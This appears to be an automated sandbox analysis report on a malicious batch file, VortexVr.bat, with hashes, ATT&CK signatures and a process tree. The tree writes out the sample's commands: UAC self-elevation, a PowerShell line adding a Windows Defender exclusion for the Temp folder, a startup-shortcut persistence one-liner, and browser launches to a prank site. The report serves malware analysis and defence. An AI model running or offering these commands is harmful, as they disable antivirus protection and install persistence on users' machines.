26d929ad3dd83ca97ee29e378a344e90b811ebebfef7c4dea13bb4a4076b7c10

Analysis

user interaction
yes
max time kernel
3s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 6KB
Sample260803-hs3csa1bkf
SHA256 26d929ad3dd83ca97ee29e378a344e90b811ebebfef7c4dea13bb4a4076b7c10
MD5 5d5832ca90a76c9a0645a553e83f18f7
SHA1 aa336044b0f6270c0d028e21767cafe826aadeb1
SHA512 c42d4ff661c19ccc7c9e5c294849d76026b600969bd45e3aeec8cce91ed36699576a4fe2b7ebb96e89034bc8ebe5ef066080c786a57973b373c9d221c6de89db
SSDEEP 96:fbC3IDAY/lJ/4DkuhuLhiDQvDs2WpcaDd7uLBpz/ejpz/exTbf:fcIDgDkIdDSDsDp5DdIMiD
TLSH
T1F3E18705B005B6864AB6D7EDC293A541F24F8D0307888045F48DA4573B39B8B71FF896
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe
5868	powershell.exe
1456	powershell.exe
6268	powershell.exe

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7436	cmd.exe
7500	cmd.exe
7484	cmd.exe
7444	cmd.exe
1032	cmd.exe
1884	cmd.exe
7492	cmd.exe
7476	cmd.exe
7468	cmd.exe
7460	cmd.exe
7452	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3940	chrome.exe
6056	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3680	powershell.exe
3680	powershell.exe
1992	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 3680	1032	cmd.exe	90
PID 3680 wrote to memory of 1884	3680	powershell.exe	91
PID 1884 wrote to memory of 1992	1884	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5868
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4880
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:4996
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7fff8991c728,0x7fff8991c734,0x7fff8991c740
        5⤵
        
        PID:4312
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,4484399370349045878,9631215897119471362,262144 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=1924 /prefetch:2
        5⤵
        
        PID:4536
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,5473925870702130268,1688863958403432853,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2292,i,16860493527853692723,5602960044982786504,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:13
        5⤵
        
        PID:1180
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3256,i,8294781388857557976,16598898859416758167,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:1
        5⤵
        
        PID:2324
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3260,i,18371774277967617545,10482081675374996264,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:2004
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4928,i,12481421397033554554,6872123723948922330,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:14
        5⤵
        
        PID:5404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4924,i,7337392273210400317,3492600170739019692,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
        5⤵
        
        PID:8184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5000,i,9043007938097407004,10653398172014913866,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:1
        5⤵
        
        PID:6976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4576,i,3271393055317197023,8709183857555269805,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5624 /prefetch:1
        5⤵
        
        PID:6988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5768,i,15839053162875714733,8054315522842649470,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
        5⤵
        
        PID:6928
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5012,i,15296035138915324665,8477586035003177082,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
        5⤵
        
        PID:7896
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4992,i,681671748629078267,13936340090302937476,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
        5⤵
        
        PID:7476
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,4825479084135108075,1307259688351893362,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
        5⤵
        
        PID:7840
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5004,i,4748821419481054966,14158845205696861306,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
        5⤵
        
        PID:6900
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5872,i,4153682668953699863,14982934982503543691,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:1
        5⤵
        
        PID:8128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5912,i,964474959239319999,9850634007130210197,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:1
        5⤵
        
        PID:7664
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5740,i,12140033276759623492,10262485524426250382,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:1
        5⤵
        
        PID:7448
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5852,i,8454422770650897487,18101037496187540136,2097152 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=792 /prefetch:1
        5⤵
        
        PID:7564
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4924,i,10725757495734780807,12651297656943064408,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:14
        5⤵
        
        PID:5940
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6116,i,14934631540411992722,7788624561238046484,524288 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
        5⤵
        
        PID:6516
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6012,i,15260480421227531969,11342984302775815404,262144 --field-trial-handle=1928,i,7645886079375926736,5740408955034786531,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:10
        5⤵
        
        PID:6988
  - - C:\Windows\system32\where.exe
      where msedge
      4⤵
      PID:2852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5948
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x294,0x7fff83dfc188,0x7fff83dfc194,0x7fff83dfc1a0
        5⤵
        
        PID:3456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,5287449939577508599,3650931349527361584,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,17820507612424447270,5879384727549572929,262144 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
        5⤵
        
        PID:3820
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2820,i,3984585795496318477,11100959272314769190,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=2948 /prefetch:13
        5⤵
        
        PID:1596
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3648,i,4795001251942500194,11081632452709871310,2097152 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
        5⤵
        
        PID:6068
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3708,i,18279389143412065435,2428053933318280144,2097152 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:1
        5⤵
        
        PID:2208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4332,i,17065714873598809063,12713916534198627513,2097152 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
        5⤵
        
        PID:2808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4344,i,4365497715812930569,12351225870880933043,2097152 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:9
        5⤵
        
        PID:2852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3676,i,9618790582686162812,10022627274919272144,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:14
        5⤵
        
        PID:1108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,11912543274939244533,18354717805960699105,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
        5⤵
        
        PID:1164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,2443529927774157122,5081666376501540653,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
        5⤵
        
        PID:1048
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,10095057982853716569,1993654885802967076,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:14
        5⤵
        
        PID:7684
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,10095057982853716569,1993654885802967076,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=3768 /prefetch:14
        5⤵
        
        PID:4724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5160,i,10538593986183784669,13217242817764701649,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:14
        5⤵
        
        PID:6636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1528,i,18036600306325516026,13037422969608779108,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:14
        5⤵
        
        PID:4684
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4804,i,16401908349147569248,10819957561903470985,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:14
        5⤵
        
        PID:7736
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1528,i,15302058062605544045,2470297960727616071,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:14
        5⤵
        
        PID:6132
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,14719021887463854436,9284557557196559862,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
        5⤵
        
        PID:2732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,2855194806554167281,9347689718803093941,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:14
        5⤵
        
        PID:8096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6336,i,9207893818922828336,17979716795584064647,524288 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
        5⤵
        
        PID:7440
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5668,i,7261488193118707928,14535383607365626538,262144 --field-trial-handle=2316,i,3310302459174433250,6671055337067569229,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:10
        5⤵
        
        PID:7660
  - - C:\Windows\system32\where.exe
